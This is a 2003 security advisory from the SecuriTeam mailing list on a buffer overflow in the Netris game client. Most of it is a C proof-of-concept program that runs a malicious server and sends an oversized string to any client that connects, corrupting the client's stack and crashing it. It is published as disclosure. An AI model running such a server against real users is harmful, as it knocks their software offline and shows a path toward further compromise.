[UNIX] Netris Client Buffer Overflow Vulnerability

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To: list@securiteam.com
Date: 13 Aug 2003 15:30:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Netris Client Buffer Overflow Vulnerability
------------------------------------------------------------------------

SUMMARY

Netris is a Linux clone of the classic infamous game Tetr*s. A
vulnerability in Netris allows attackers to cause a buffer overflow in the
connecting client. This is due to insufficient bounds checking of what the
server sends.

DETAILS

Proof of Concept:
The following code is a small PoC exploit program Shaun has written to
exploit the existing buffer overflow vulnerability. The PoC will cause a
DoS (corruption of stack, crashing of Netris program):

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BACKLOG 1
int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <port>\n", argv[0]);
                exit(-1);
        }

        int sock, csock, i;
        struct sockaddr_in client;
        struct sockaddr_in me;
        int sinlen;
        char buffer[60001];

        memset(buffer, 'a', 60000);

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) == NULL) {
                printf("Couldn't create socket!\n");
                exit(-1);
        }

        me.sin_family = AF_INET;
        me.sin_port = htons(atoi(argv[1]));
        me.sin_addr.s_addr = INADDR_ANY;
        if(bind(sock, (struct sockaddr *)&me, sizeof(struct sockaddr)) ==
-1) {
        perror("bind()");
        exit(-1);
        }
        listen(sock, BACKLOG);
        printf("Listening on port %s for connections...\n", argv[1]);
        sinlen = sizeof(struct sockaddr);
        while(1) {
                csock = accept(sock, (struct sockaddr *)&client, &sinlen);
                printf("Got connection, sending...\n");
                send(csock, buffer, strlen(buffer), 0);
                sleep(1);
                close(csock);
        }
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:shaunige@yahoo.co.uk> Shaun
Colley.

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